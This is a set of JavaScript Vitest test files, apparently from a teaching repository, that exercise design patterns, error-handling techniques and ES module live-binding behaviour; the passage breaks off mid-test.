describe('Design Patterns', () => { describe('Module Pattern', () => { it('should encapsulate private state using closures', () => { // IIFE-based module pattern const Counter = (function () { let count = 0 // Private variable return { increment() { count++ return count }, decrement() { count-- return count }, getCount() { return count } } })() expect(Counter.getCount()).toBe(0) expect(Counter.increment()).toBe(1) expect(Counter.increment()).toBe(2) expect(Counter.decrement()).toBe(1) // Private variable is not accessible expect(Counter.count).toBeUndefined() }) it('should only expose public methods', () => { const Module = (function () { // Private function function privateHelper(value) { return value * 2 } // Public API return { publicMethod(value) { return privateHelper(value) + 10 } } })() expect(Module.publicMethod(5)).toBe(20) // (5 * 2) + 10 expect(Module.privateHelper).toBeUndefined() }) }) describe('Singleton Pattern', () => { it('should return the same instance when created multiple times', () => { let instance = null class Singleton { constructor() { if (instance) { return instance } this.timestamp = Date.now() instance = this } } const instance1 = new Singleton() const instance2 = new Singleton() expect(instance1).toBe(instance2) expect(instance1.timestamp).toBe(instance2.timestamp) }) it('should prevent modification with Object.freeze', () => { const Config = { apiUrl: 'https://api.example.com', timeout: 5000 } Object.freeze(Config) // In strict mode (which Vitest uses), this throws an error expect(() => { Config.apiUrl = 'https://evil.com' }).toThrow(TypeError) expect(() => { Config.newProperty = 'test' }).toThrow(TypeError) // Original values remain unchanged expect(Config.apiUrl).toBe('https://api.example.com') expect(Config.newProperty).toBeUndefined() }) it('should demonstrate that ES modules behave like singletons', () => { // Simulating ES module behavior const createModule = () => { const cache = new Map() return function getModule(name) { if (!cache.has(name)) { cache.set(name, { name, timestamp: Date.now() }) } return cache.get(name) } } const requireModule = createModule() const module1 = requireModule('config') const module2 = requireModule('config') expect(module1).toBe(module2) }) }) describe('Factory Pattern', () => { it('should create objects without using the new keyword', () => { function createUser(name, role) { return { name, role, greet() { return `Hi, I'm ${this.name}` } } } const user = createUser('Alice', 'admin') expect(user.name).toBe('Alice') expect(user.role).toBe('admin') expect(user.greet()).toBe("Hi, I'm Alice") }) it('should return different object instances', () => { function createProduct(name) { return { name, id: Math.random() } } const product1 = createProduct('Widget') const product2 = createProduct('Widget') expect(product1).not.toBe(product2) expect(product1.id).not.toBe(product2.id) }) it('should create different types based on input', () => { function createNotification(type, message) { const base = { message, timestamp: Date.now() } switch (type) { case 'error': return { ...base, type: 'error', color: 'red', icon: '❌' } case 'success': return { ...base, type: 'success', color: 'green', icon: '✓' } case 'warning': return { ...base, type: 'warning', color: 'yellow', icon: '⚠' } default: return { ...base, type: 'info', color: 'blue', icon: 'ℹ' } } } const error = createNotification('error', 'Failed!') const success = createNotification('success', 'Done!') const info = createNotification('unknown', 'Info') expect(error.color).toBe('red') expect(success.color).toBe('green') expect(info.type).toBe('info') }) }) describe('Observer Pattern', () => { let observable beforeEach(() => { observable = { observers: [], subscribe(fn) { this.observers.push(fn) return () => { this.observers = this.observers.filter((o) => o !== fn) } }, notify(data) { this.observers.forEach((fn) => fn(data)) } } }) it('should allow subscribing to events', () => { const callback = vi.fn() observable.subscribe(callback) observable.notify('test data') expect(callback).toHaveBeenCalledWith('test data') expect(callback).toHaveBeenCalledTimes(1) }) it('should notify all subscribers', () => { const callback1 = vi.fn() const callback2 = vi.fn() const callback3 = vi.fn() observable.subscribe(callback1) observable.subscribe(callback2) observable.subscribe(callback3) observable.notify('event data') expect(callback1).toHaveBeenCalledWith('event data') expect(callback2).toHaveBeenCalledWith('event data') expect(callback3).toHaveBeenCalledWith('event data') }) it('should allow unsubscribing', () => { const callback = vi.fn() const unsubscribe = observable.subscribe(callback) observable.notify('first') expect(callback).toHaveBeenCalledTimes(1) unsubscribe() observable.notify('second') expect(callback).toHaveBeenCalledTimes(1) // Still 1, not called again }) it('should handle multiple subscriptions and unsubscriptions', () => { const callback1 = vi.fn() const callback2 = vi.fn() const unsub1 = observable.subscribe(callback1) observable.subscribe(callback2) observable.notify('test') expect(callback1).toHaveBeenCalledTimes(1) expect(callback2).toHaveBeenCalledTimes(1) unsub1() observable.notify('test2') expect(callback1).toHaveBeenCalledTimes(1) // Not called again expect(callback2).toHaveBeenCalledTimes(2) // Called again }) }) describe('Proxy Pattern', () => { it('should intercept property access (get)', () => { const target = { name: 'Alice', age: 25 } const accessLog = [] const proxy = new Proxy(target, { get(obj, prop) { accessLog.push(prop) return obj[prop] } }) expect(proxy.name).toBe('Alice') expect(proxy.age).toBe(25) expect(accessLog).toEqual(['name', 'age']) }) it('should intercept property assignment (set)', () => { const target = { count: 0 } const setLog = [] const proxy = new Proxy(target, { set(obj, prop, value) { setLog.push({ prop, value }) obj[prop] = value return true } }) proxy.count = 5 proxy.newProp = 'hello' expect(target.count).toBe(5) expect(target.newProp).toBe('hello') expect(setLog).toEqual([ { prop: 'count', value: 5 }, { prop: 'newProp', value: 'hello' } ]) }) it('should validate values on set', () => { const user = { name: 'Alice', age: 25 } const validatedUser = new Proxy(user, { set(obj, prop, value) { if (prop === 'age') { if (typeof value !== 'number') { throw new TypeError('Age must be a number') } if (value < 0 || value > 150) { throw new RangeError('Age must be between 0 and 150') } } obj[prop] = value return true } }) // Valid assignment validatedUser.age = 30 expect(validatedUser.age).toBe(30) // Invalid assignments expect(() => { validatedUser.age = 'thirty' }).toThrow(TypeError) expect(() => { validatedUser.age = -5 }).toThrow(RangeError) expect(() => { validatedUser.age = 200 }).toThrow(RangeError) }) it('should provide default values for missing properties', () => { const target = { name: 'Alice' } const withDefaults = new Proxy(target, { get(obj, prop) { if (prop in obj) { return obj[prop] } return `Default value for ${prop}` } }) expect(withDefaults.name).toBe('Alice') expect(withDefaults.missing).toBe('Default value for missing') }) }) describe('Decorator Pattern', () => { it('should add new methods to objects', () => { const createBird = (name) => ({ name, chirp() { return `${this.name} says chirp!` } }) const withFlying = (bird) => ({ ...bird, fly() { return `${bird.name} is flying!` } }) const sparrow = withFlying(createBird('Sparrow')) expect(sparrow.chirp()).toBe('Sparrow says chirp!') expect(sparrow.fly()).toBe('Sparrow is flying!') }) it('should preserve original object properties', () => { const original = { name: 'Widget', price: 100, getInfo() { return `${this.name}: $${this.price}` } } const withDiscount = (product, discountPercent) => ({ ...product, discount: discountPercent, getDiscountedPrice() { return product.price * (1 - discountPercent / 100) } }) const discounted = withDiscount(original, 20) expect(discounted.name).toBe('Widget') expect(discounted.price).toBe(100) expect(discounted.discount).toBe(20) expect(discounted.getDiscountedPrice()).toBe(80) }) it('should allow composing multiple decorators', () => { const createCharacter = (name) => ({ name, abilities: [], describe() { return `${this.name} can: ${this.abilities.join(', ') || 'nothing yet'}` } }) const withSwimming = (character) => ({ ...character, abilities: [...character.abilities, 'swim'], swim() { return `${character.name} swims!` } }) const withFlying = (character) => ({ ...character, abilities: [...character.abilities, 'fly'], fly() { return `${character.name} flies!` } }) const withFireBreathing = (character) => ({ ...character, abilities: [...character.abilities, 'breathe fire'], breatheFire() { return `${character.name} breathes fire!` } }) // Compose decorators const dragon = withFireBreathing(withFlying(createCharacter('Dragon'))) expect(dragon.abilities).toEqual(['fly', 'breathe fire']) expect(dragon.fly()).toBe('Dragon flies!') expect(dragon.breatheFire()).toBe('Dragon breathes fire!') // Different composition const duck = withSwimming(withFlying(createCharacter('Duck'))) expect(duck.abilities).toEqual(['fly', 'swim']) expect(duck.fly()).toBe('Duck flies!') expect(duck.swim()).toBe('Duck swims!') }) it('should work with function decorators', () => { // Logging decorator const withLogging = (fn) => { return function (...args) { const result = fn.apply(this, args) return result } } // Timing decorator const withTiming = (fn) => { return function (...args) { const start = Date.now() const result = fn.apply(this, args) const end = Date.now() return { result, duration: end - start } } } const add = (a, b) => a + b const timedAdd = withTiming(withLogging(add)) const output = timedAdd(2, 3) expect(output.result).toBe(5) expect(typeof output.duration).toBe('number') expect(output.duration).toBeGreaterThanOrEqual(0) }) it('should implement memoization decorator', () => { const withMemoization = (fn) => { const cache = new Map() return function (...args) { const key = JSON.stringify(args) if (cache.has(key)) { return { value: cache.get(key), cached: true } } const result = fn.apply(this, args) cache.set(key, result) return { value: result, cached: false } } } let callCount = 0 const expensiveOperation = (n) => { callCount++ return n * n } const memoized = withMemoization(expensiveOperation) const result1 = memoized(5) expect(result1).toEqual({ value: 25, cached: false }) expect(callCount).toBe(1) const result2 = memoized(5) expect(result2).toEqual({ value: 25, cached: true }) expect(callCount).toBe(1) // Not called again const result3 = memoized(10) expect(result3).toEqual({ value: 100, cached: false }) expect(callCount).toBe(2) // Called for new argument }) }) describe('Pattern Integration', () => { it('should combine Observer and Singleton for a global event bus', () => { // Singleton event bus using module pattern const EventBus = (function () { const events = new Map() return Object.freeze({ on(event, callback) { if (!events.has(event)) { events.set(event, []) } events.get(event).push(callback) }, off(event, callback) { if (events.has(event)) { const callbacks = events.get(event).filter((cb) => cb !== callback) events.set(event, callbacks) } }, emit(event, data) { if (events.has(event)) { events.get(event).forEach((callback) => callback(data)) } } }) })() const handler1 = vi.fn() const handler2 = vi.fn() EventBus.on('user:login', handler1) EventBus.on('user:login', handler2) EventBus.emit('user:login', { userId: 123 }) expect(handler1).toHaveBeenCalledWith({ userId: 123 }) expect(handler2).toHaveBeenCalledWith({ userId: 123 }) EventBus.off('user:login', handler1) EventBus.emit('user:login', { userId: 456 }) expect(handler1).toHaveBeenCalledTimes(1) expect(handler2).toHaveBeenCalledTimes(2) }) it('should combine Factory and Decorator patterns', () => { // Factory for creating base enemies const createEnemy = (type) => { const enemies = { goblin: { name: 'Goblin', health: 50, damage: 10 }, orc: { name: 'Orc', health: 100, damage: 20 }, troll: { name: 'Troll', health: 200, damage: 30 } } return { ...enemies[type] } } // Decorators for enemy modifiers const withArmor = (enemy, armor) => ({ ...enemy, armor, takeDamage(amount) { return Math.max(0, amount - armor) } }) const withPoison = (enemy) => ({ ...enemy, poisonDamage: 5, attack() { return `${enemy.name} attacks for ${enemy.damage} + ${this.poisonDamage} poison!` } }) // Create decorated enemies const armoredOrc = withArmor(createEnemy('orc'), 15) const poisonGoblin = withPoison(createEnemy('goblin')) const armoredPoisonTroll = withPoison(withArmor(createEnemy('troll'), 25)) expect(armoredOrc.armor).toBe(15) expect(armoredOrc.takeDamage(30)).toBe(15) expect(poisonGoblin.attack()).toBe('Goblin attacks for 10 + 5 poison!') expect(armoredPoisonTroll.armor).toBe(25) expect(armoredPoisonTroll.attack()).toBe('Troll attacks for 30 + 5 poison!') }) }) }) ================================================ FILE: tests/advanced-topics/error-handling/error-handling.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Error Handling', () => { // ============================================================ // TRY/CATCH/FINALLY BASICS // ============================================================ describe('try/catch/finally Basics', () => { it('should catch errors thrown in try block', () => { // From: The try block contains code that might throw an error let caught = false try { throw new Error('Test error') } catch (error) { caught = true expect(error.message).toBe('Test error') } expect(caught).toBe(true) }) it('should skip catch block if no error occurs', () => { const order = [] try { order.push('try') } catch (error) { order.push('catch') } expect(order).toEqual(['try']) }) it('should stop try block execution at the error', () => { // From: If an error occurs, execution immediately jumps to the catch block const order = [] try { order.push('before error') throw new Error('stop') order.push('after error') // Never runs } catch (error) { order.push('catch') } expect(order).toEqual(['before error', 'catch']) }) it('should always run finally block - success case', () => { // From: The finally block always runs const order = [] try { order.push('try') } catch (error) { order.push('catch') } finally { order.push('finally') } expect(order).toEqual(['try', 'finally']) }) it('should always run finally block - error case', () => { const order = [] try { order.push('try') throw new Error('test') } catch (error) { order.push('catch') } finally { order.push('finally') } expect(order).toEqual(['try', 'catch', 'finally']) }) it('should run finally even with return in try', () => { // From: finally runs even with return const order = [] function example() { try { order.push('try') return 'from try' } finally { order.push('finally') } } const result = example() expect(result).toBe('from try') expect(order).toEqual(['try', 'finally']) }) it('should run finally even with return in catch', () => { const order = [] function example() { try { throw new Error('test') } catch (error) { order.push('catch') return 'from catch' } finally { order.push('finally') } } const result = example() expect(result).toBe('from catch') expect(order).toEqual(['catch', 'finally']) }) it('should support optional catch binding (ES2019+)', () => { // From: Optional catch binding let result = 'default' try { JSON.parse('{ invalid json }') } catch { // No error parameter needed result = 'caught' } expect(result).toBe('caught') }) }) // ============================================================ // THE ERROR OBJECT // ============================================================ describe('The Error Object', () => { it('should have name, message, and stack properties', () => { // From: Error Properties table try { undefinedVariable } catch (error) { expect(error.name).toBe('ReferenceError') expect(error.message).toContain('undefinedVariable') expect(typeof error.stack).toBe('string') expect(error.stack).toContain('ReferenceError') } }) it('should convert error to string as "name: message"', () => { const error = new Error('Something went wrong') expect(String(error)).toBe('Error: Something went wrong') }) it('should support error cause (ES2022+)', () => { // From: Error chaining with cause const originalError = new Error('Original error') const wrappedError = new Error('Wrapped error', { cause: originalError }) expect(wrappedError.message).toBe('Wrapped error') expect(wrappedError.cause).toBe(originalError) expect(wrappedError.cause.message).toBe('Original error') }) }) // ============================================================ // BUILT-IN ERROR TYPES // ============================================================ describe('Built-in Error Types', () => { it('should throw TypeError for wrong type operations', () => { // From: TypeError - calling method on null expect(() => { const obj = null obj.method() }).toThrow(TypeError) // Calling non-function expect(() => { const notAFunction = 42 notAFunction() }).toThrow(TypeError) }) it('should throw ReferenceError for undefined variables', () => { // From: ReferenceError - using undefined variable expect(() => { undefinedVariableName }).toThrow(ReferenceError) }) it('should throw SyntaxError for invalid JSON', () => { // From: SyntaxError - invalid JSON expect(() => { JSON.parse('{ name: "John" }') // Missing quotes around key }).toThrow(SyntaxError) expect(() => { JSON.parse('') // Empty string }).toThrow(SyntaxError) }) it('should throw RangeError for out-of-range values', () => { // From: RangeError - value out of range expect(() => { new Array(-1) }).toThrow(RangeError) expect(() => { (1.5).toFixed(200) // Max is 100 }).toThrow(RangeError) // From: 'x'.repeat(Infinity) example expect(() => { 'x'.repeat(Infinity) }).toThrow(RangeError) }) it('should use optional chaining to avoid TypeError', () => { // From: Fix for TypeError - Check if values exist before using them const user = null // Without optional chaining - throws TypeError expect(() => { user.name }).toThrow(TypeError) // With optional chaining - returns undefined (no error) expect(user?.name).toBeUndefined() }) it('should throw URIError for bad URI encoding', () => { // From: URIError - bad URI encoding expect(() => { decodeURIComponent('%') }).toThrow(URIError) }) it('should throw AggregateError when all promises reject', async () => { // From: AggregateError - Promise.any() all reject await expect( Promise.any([ Promise.reject(new Error('Error 1')), Promise.reject(new Error('Error 2')), Promise.reject(new Error('Error 3')) ]) ).rejects.toThrow(AggregateError) try { await Promise.any([ Promise.reject(new Error('Error 1')), Promise.reject(new Error('Error 2')) ]) } catch (error) { expect(error.name).toBe('AggregateError') expect(error.errors).toHaveLength(2) } }) }) // ============================================================ // THE THROW STATEMENT // ============================================================ describe('The throw Statement', () => { it('should throw and catch custom errors', () => { // From: The throw statement lets you create your own errors function divide(a, b) { if (b === 0) { throw new Error('Cannot divide by zero') } return a / b } expect(divide(10, 2)).toBe(5) expect(() => divide(10, 0)).toThrow('Cannot divide by zero') }) it('should demonstrate throwing non-Error types (bad practice)', () => { // From: Always Throw Error Objects - BAD examples // These all work but lack stack traces for debugging // Throwing a string - no stack trace try { throw 'Something went wrong' } catch (error) { expect(typeof error).toBe('string') expect(error).toBe('Something went wrong') expect(error.stack).toBeUndefined() } // Throwing a number - no stack trace try { throw 404 } catch (error) { expect(typeof error).toBe('number') expect(error).toBe(404) expect(error.stack).toBeUndefined() } // Throwing an object - no stack trace try { throw { message: 'Error' } } catch (error) { expect(typeof error).toBe('object') expect(error.message).toBe('Error') expect(error.stack).toBeUndefined() } }) it('should throw errors with proper type', () => { // From: Always throw Error objects function validateAge(age) { if (typeof age !== 'number') { throw new TypeError(`Expected number but got ${typeof age}`) } if (age < 0 || age > 150) { throw new RangeError(`Age must be between 0 and 150, got ${age}`) } return true } expect(validateAge(25)).toBe(true) expect(() => validateAge('25')).toThrow(TypeError) expect(() => validateAge(-5)).toThrow(RangeError) }) it('should include stack trace when throwing Error objects', () => { try { throw new Error('Test') } catch (error) { expect(error.stack).toBeDefined() expect(error.stack).toContain('Error: Test') } }) it('should create meaningful error messages with context', () => { // From: Creating Meaningful Error Messages // Specific error message with details const email = 'invalid-email' const emailError = new Error(`Email address is invalid: missing @ symbol`) expect(emailError.message).toBe('Email address is invalid: missing @ symbol') // TypeError with actual type in message const value = 42 const typeError = new TypeError(`Expected string but got ${typeof value}`) expect(typeError.message).toBe('Expected string but got number') expect(typeError.name).toBe('TypeError') // RangeError with actual value in message const age = 200 const rangeError = new RangeError(`Age must be between 0 and 150, got ${age}`) expect(rangeError.message).toBe('Age must be between 0 and 150, got 200') expect(rangeError.name).toBe('RangeError') }) }) // ============================================================ // CUSTOM ERROR CLASSES // ============================================================ describe('Custom Error Classes', () => { it('should create custom error classes', () => { // From: Custom error classes for better categorization class ValidationError extends Error { constructor(message) { super(message) this.name = 'ValidationError' } } const error = new ValidationError('Invalid email') expect(error.name).toBe('ValidationError') expect(error.message).toBe('Invalid email') expect(error instanceof ValidationError).toBe(true) expect(error instanceof Error).toBe(true) }) it('should support auto-naming pattern', () => { // From: The Auto-Naming Pattern class AppError extends Error { constructor(message, options) { super(message, options) this.name = this.constructor.name } } class ValidationError extends AppError {} class NetworkError extends AppError {} const validationError = new ValidationError('Bad input') const networkError = new NetworkError('Connection failed') expect(validationError.name).toBe('ValidationError') expect(networkError.name).toBe('NetworkError') }) it('should add custom properties to error classes', () => { class NetworkError extends Error { constructor(message, statusCode) { super(message) this.name = 'NetworkError' this.statusCode = statusCode } } const error = new NetworkError('Not found', 404) expect(error.message).toBe('Not found') expect(error.statusCode).toBe(404) }) it('should use instanceof for error type checking', () => { // From: Using instanceof for Error Handling class ValidationError extends Error { constructor(message) { super(message) this.name = 'ValidationError' } } class NetworkError extends Error { constructor(message) { super(message) this.name = 'NetworkError' } } const errors = [ new ValidationError('Bad input'), new NetworkError('Offline'), new Error('Unknown') ] const results = errors.map(error => { if (error instanceof ValidationError) return 'validation' if (error instanceof NetworkError) return 'network' return 'unknown' }) expect(results).toEqual(['validation', 'network', 'unknown']) }) it('should chain errors with cause', () => { // From: Error Chaining with cause class DataLoadError extends Error { constructor(message, options) { super(message, options) this.name = 'DataLoadError' } } const originalError = new Error('Network timeout') const wrappedError = new DataLoadError('Failed to load user data', { cause: originalError }) expect(wrappedError.cause).toBe(originalError) expect(wrappedError.cause.message).toBe('Network timeout') }) }) // ============================================================ // ASYNC ERROR HANDLING // ============================================================ describe('Async Error Handling', () => { it('should catch Promise rejections with .catch()', async () => { // From: With Promises: .catch() const result = await Promise.reject(new Error('Failed')) .catch(error => `Caught: ${error.message}`) expect(result).toBe('Caught: Failed') }) it('should catch async/await errors with try/catch', async () => { // From: With async/await: try/catch async function failingOperation() { throw new Error('Async failure') } let caught = null try { await failingOperation() } catch (error) { caught = error.message } expect(caught).toBe('Async failure') }) it('should run .finally() regardless of outcome', async () => { const order = [] // Success case await Promise.resolve('success') .then(v => { order.push('then') }) .finally(() => { order.push('finally-success') }) // Failure case await Promise.reject(new Error('fail')) .catch(e => { order.push('catch') }) .finally(() => { order.push('finally-fail') }) expect(order).toEqual(['then', 'finally-success', 'catch', 'finally-fail']) }) it('should demonstrate try/catch only catches synchronous errors', async () => { // From: try/catch Only Works Synchronously const order = [] try { setTimeout(() => { order.push('timeout executed') // If we threw here, try/catch wouldn't catch it }, 0) order.push('after setTimeout') } catch (error) { order.push('catch') } expect(order).toEqual(['after setTimeout']) // Let setTimeout execute await new Promise(resolve => setTimeout(resolve, 10)) expect(order).toEqual(['after setTimeout', 'timeout executed']) }) }) // ============================================================ // GLOBAL ERROR HANDLERS (Not Tested - Browser-Specific) // ============================================================ // // The following patterns from the concept page are browser-specific // and cannot be tested in a Node.js/Vitest environment: // // - window.onerror = function(message, source, lineno, colno, error) { ... } // Catches uncaught synchronous errors in the browser // // - window.addEventListener('unhandledrejection', event => { ... }) // Catches unhandled Promise rejections in the browser // // These are documented in the concept page (lines 531-557) for browser usage. // In production, these are typically used for: // - Logging errors to services like Sentry or LogRocket // - Showing generic "something went wrong" messages // - Tracking errors in production environments // // They should be used as a safety net, not as primary error handling. // ============================================================ // ============================================================ // COMMON MISTAKES // ============================================================ describe('Common Mistakes', () => { it('Mistake 1: Empty catch blocks swallow errors', () => { // From: Empty catch Blocks (Swallowing Errors) let errorLogged = false // Bad: error is silently swallowed try { throw new Error('Silent error') } catch (error) { // Empty - bad practice } // Good: at least log the error try { throw new Error('Logged error') } catch (error) { errorLogged = true // console.error('Error:', error) in real code } expect(errorLogged).toBe(true) }) it('Mistake 2: Catching too broadly hides bugs', () => { // From: Catching Too Broadly function parseWithBugHidden(input) { try { const result = JSON.parse(input) // Bug: typo in variable name would be hidden return result } catch (error) { return 'Something went wrong' } } function parseCorrectly(input) { try { return JSON.parse(input) } catch (error) { if (error instanceof SyntaxError) { return null // Expected case } throw error // Unexpected: re-throw } } expect(parseWithBugHidden('{ invalid }')).toBe('Something went wrong') expect(parseCorrectly('{ invalid }')).toBe(null) expect(parseCorrectly('{"valid": true}')).toEqual({ valid: true }) }) it('Mistake 3: Throwing strings instead of Error objects', () => { // From: Throwing Strings Instead of Errors // Bad: no stack trace try { throw 'String error' } catch (error) { expect(typeof error).toBe('string') expect(error.stack).toBeUndefined() } // Good: has stack trace try { throw new Error('Error object') } catch (error) { expect(error instanceof Error).toBe(true) expect(error.stack).toBeDefined() } }) it('Mistake 4: Not re-throwing when needed', async () => { // From: Not Re-throwing When Needed // Bad: returns undefined, caller thinks success async function badFetch() { try { throw new Error('Network error') } catch (error) { // Just logs, doesn't re-throw or return meaningful value } } // Good: re-throws for caller to handle async function goodFetch() { try { throw new Error('Network error') } catch (error) { throw error // Let caller decide what to do } } const badResult = await badFetch() expect(badResult).toBeUndefined() // Silent failure! await expect(goodFetch()).rejects.toThrow('Network error') }) it('Mistake 5: Expecting try/catch to catch async callback errors', async () => { // From: Forgetting try/catch is Synchronous let syncCaughtError = null let callbackError = null // This catch won't catch the setTimeout error try { setTimeout(() => { try { throw new Error('Callback error') } catch (e) { callbackError = e.message } }, 0) } catch (error) { syncCaughtError = error.message } expect(syncCaughtError).toBeNull() // Sync catch doesn't catch async await new Promise(resolve => setTimeout(resolve, 10)) expect(callbackError).toBe('Callback error') // Inner catch works }) }) // ============================================================ // REAL-WORLD PATTERNS // ============================================================ describe('Real-World Patterns', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should implement retry pattern', async () => { // From: Retry Pattern let attempts = 0 async function flakyOperation() { attempts++ if (attempts < 3) { throw new Error('Temporary failure') } return 'success' } async function fetchWithRetry(operation, retries = 3) { for (let i = 0; i < retries; i++) { try { return await operation() } catch (error) { if (i === retries - 1) throw error await new Promise(r => setTimeout(r, 100 * Math.pow(2, i))) } } } const promise = fetchWithRetry(flakyOperation, 3) // First attempt fails await vi.advanceTimersByTimeAsync(0) expect(attempts).toBe(1) // Wait for first retry (100ms) await vi.advanceTimersByTimeAsync(100) expect(attempts).toBe(2) // Wait for second retry (200ms) await vi.advanceTimersByTimeAsync(200) expect(attempts).toBe(3) const result = await promise expect(result).toBe('success') }) it('should implement validation error pattern', () => { // From: Validation Error Pattern class ValidationError extends Error { constructor(errors) { super('Validation failed') this.name = 'ValidationError' this.errors = errors } } function validateUser(data) { const errors = {} if (!data.email?.includes('@')) { errors.email = 'Invalid email address' } if (data.age < 0) { errors.age = 'Age must be positive' } if (Object.keys(errors).length > 0) { throw new ValidationError(errors) } return true } // Valid data expect(validateUser({ email: 'test@example.com', age: 25 })).toBe(true) // Invalid data try { validateUser({ email: 'invalid', age: -5 }) } catch (error) { expect(error instanceof ValidationError).toBe(true) expect(error.errors.email).toBe('Invalid email address') expect(error.errors.age).toBe('Age must be positive') } }) it('should implement graceful degradation', async () => { // From: Graceful Degradation let apiCalled = false let cacheCalled = false async function fetchFromApi() { apiCalled = true throw new Error('API unavailable') } async function loadFromCache() { cacheCalled = true return { cached: true } } async function loadUserPreferences() { try { return await fetchFromApi() } catch (apiError) { try { return await loadFromCache() } catch (cacheError) { return { theme: 'light', language: 'en' } // Defaults } } } const result = await loadUserPreferences() expect(apiCalled).toBe(true) expect(cacheCalled).toBe(true) expect(result).toEqual({ cached: true }) }) }) // ============================================================ // RETHROWING ERRORS // ============================================================ describe('Rethrowing Errors', () => { it('should rethrow errors you cannot handle', () => { // From: Catch should only process errors that it knows function parseUserData(json) { try { return JSON.parse(json) } catch (error) { if (error instanceof SyntaxError) { // We know how to handle this return null } // Unknown error, rethrow throw error } } expect(parseUserData('{"name": "John"}')).toEqual({ name: 'John' }) expect(parseUserData('invalid')).toBeNull() }) it('should wrap errors with additional context', () => { function processOrder(order) { try { if (!order.items) { throw new Error('Order has no items') } return { processed: true } } catch (error) { throw new Error(`Failed to process order ${order.id}`, { cause: error }) } } try { processOrder({ id: '123' }) } catch (error) { expect(error.message).toBe('Failed to process order 123') expect(error.cause.message).toBe('Order has no items') } }) }) // ============================================================ // SCOPING IN TRY/CATCH // ============================================================ describe('Variable Scoping in try/catch', () => { it('should demonstrate variable scoping issue', () => { // From: Test Your Knowledge Question 6 // Wrong: result is scoped to try block let wrongResult try { const result = 'value' wrongResult = result } catch (e) { // handle error } // console.log(result) would throw ReferenceError // Correct: declare outside try block let correctResult try { correctResult = 'value' } catch (e) { correctResult = 'fallback' } expect(correctResult).toBe('value') }) it('should use fallback value when error occurs', () => { let result try { result = JSON.parse('invalid') } catch (e) { result = { fallback: true } } expect(result).toEqual({ fallback: true }) }) }) }) ================================================ FILE: tests/advanced-topics/es-modules/es-modules.test.js ================================================ import { describe, it, expect, vi } from 'vitest' describe('ES Modules', () => { // =========================================== // Part 1: Live Bindings // =========================================== describe('Part 1: Live Bindings', () => { describe('ESM Live Bindings vs CommonJS Value Copies', () => { it('should demonstrate CommonJS-style value copy behavior', () => { // CommonJS exports copies of primitive values at require time // Simulating: module.exports = { count, increment, getCount } function createCommonJSModule() { let count = 0 function increment() { count++ } function getCount() { return count } // CommonJS exports a snapshot (copy) of the value return { count, increment, getCount } } const { count, increment, getCount } = createCommonJSModule() expect(count).toBe(0) increment() expect(count).toBe(0) // Still 0! It's a copy from export time expect(getCount()).toBe(1) // Function reads the real internal value }) it('should demonstrate ESM-style live binding behavior', () => { // ESM exports live references - changes are visible to importers // Simulating with an object that acts as a module namespace function createESMModule() { const moduleNamespace = { count: 0, increment() { moduleNamespace.count++ } } return moduleNamespace } const mod = createESMModule() expect(mod.count).toBe(0) mod.increment() expect(mod.count).toBe(1) // Live binding reflects the change! mod.increment() expect(mod.count).toBe(2) // Still updating }) it('should show live bindings work with objects', () => { // Even with objects, ESM bindings are live references const moduleState = { user: null, setUser(u) { moduleState.user = u }, getUser() { return moduleState.user } } expect(moduleState.user).toBe(null) moduleState.setUser({ name: 'Alice' }) expect(moduleState.user).toEqual({ name: 'Alice' }) // Live! moduleState.setUser({ name: 'Bob' }) expect(moduleState.user).toEqual({ name: 'Bob' }) // Updated! }) it('should demonstrate singleton state via live bindings', () => { // All importers share the same module state const sharedModule = (() => { let state = { count: 0 } return { getState: () => state, increment: () => { state.count++ } } })() // Simulate two different "importers" const importer1 = sharedModule const importer2 = sharedModule importer1.increment() expect(importer1.getState().count).toBe(1) expect(importer2.getState().count).toBe(1) // Same state! importer2.increment() expect(importer1.getState().count).toBe(2) // Both see the update expect(importer2.getState().count).toBe(2) }) }) describe('Why Live Bindings Matter', () => { it('should enable proper state management across module boundaries', () => { // Auth module that multiple parts of an app might import const authModule = (() => { let currentUser = null let isAuthenticated = false return { get currentUser() { return currentUser }, get isAuthenticated() { return isAuthenticated }, login(user) { currentUser = user isAuthenticated = true }, logout() { currentUser = null isAuthenticated = false } } })() // Header component checks auth expect(authModule.isAuthenticated).toBe(false) // Login form logs in authModule.login({ name: 'Alice', email: 'alice@test.com' }) // Header immediately sees the change (live binding) expect(authModule.isAuthenticated).toBe(true) expect(authModule.currentUser.name).toBe('Alice') // Logout button logs out authModule.logout() // All components see the change expect(authModule.isAuthenticated).toBe(false) expect(authModule.currentUser).toBe(null) }) }) }) // =========================================== // Part 2: Read-Only Imports // =========================================== describe('Part 2: Read-Only Imports', () => { describe('Imported bindings cannot be reassigned', () => { it('should demonstrate that imports are read-only (simulated with Object.defineProperty)', () => { // ESM imports are read-only - you can't reassign them // We simulate this with a frozen/non-writable property const moduleExports = {} Object.defineProperty(moduleExports, 'count', { value: 0, writable: false, enumerable: true }) expect(moduleExports.count).toBe(0) // Attempting to reassign throws in strict mode expect(() => { 'use strict' moduleExports.count = 10 }).toThrow(TypeError) }) it('should show that const-like behavior applies to all imports', () => { // Even if the source uses `let`, importers can't reassign const createModule = () => { let value = 'original' // let in source module return { get value() { return value }, setValue(v) { value = v } // only module can change it } } const mod = createModule() // Importer can read expect(mod.value).toBe('original') // Importer can call methods that modify (module modifies itself) mod.setValue('updated') expect(mod.value).toBe('updated') // But direct assignment to the binding would fail in real ESM // import { value } from './mod.js' // value = 'hack' // TypeError: Assignment to constant variable }) it('should allow modification of imported object properties', () => { // You can't reassign the import, but you CAN modify object properties const configModule = { config: { theme: 'light', debug: false } } // Can't do: config = newObject (would throw) // But CAN do: config.theme = 'dark' configModule.config.theme = 'dark' expect(configModule.config.theme).toBe('dark') configModule.config.debug = true expect(configModule.config.debug).toBe(true) }) }) }) // =========================================== // Part 3: Circular Dependencies and TDZ // =========================================== describe('Part 3: Circular Dependencies and TDZ', () => { describe('Temporal Dead Zone (TDZ) with const/let', () => { it('should throw ReferenceError when accessing const before initialization', () => { expect(() => { // This simulates what happens in a circular dependency // when module B tries to access a const from module A // before A has finished executing const accessBeforeInit = () => { console.log(value) // Accessing before declaration const value = 'initialized' } accessBeforeInit() }).toThrow(ReferenceError) }) it('should throw ReferenceError when accessing let before initialization', () => { expect(() => { const accessBeforeInit = () => { console.log(value) // TDZ - ReferenceError let value = 'initialized' } accessBeforeInit() }).toThrow(ReferenceError) }) it('should NOT throw with var (hoisted 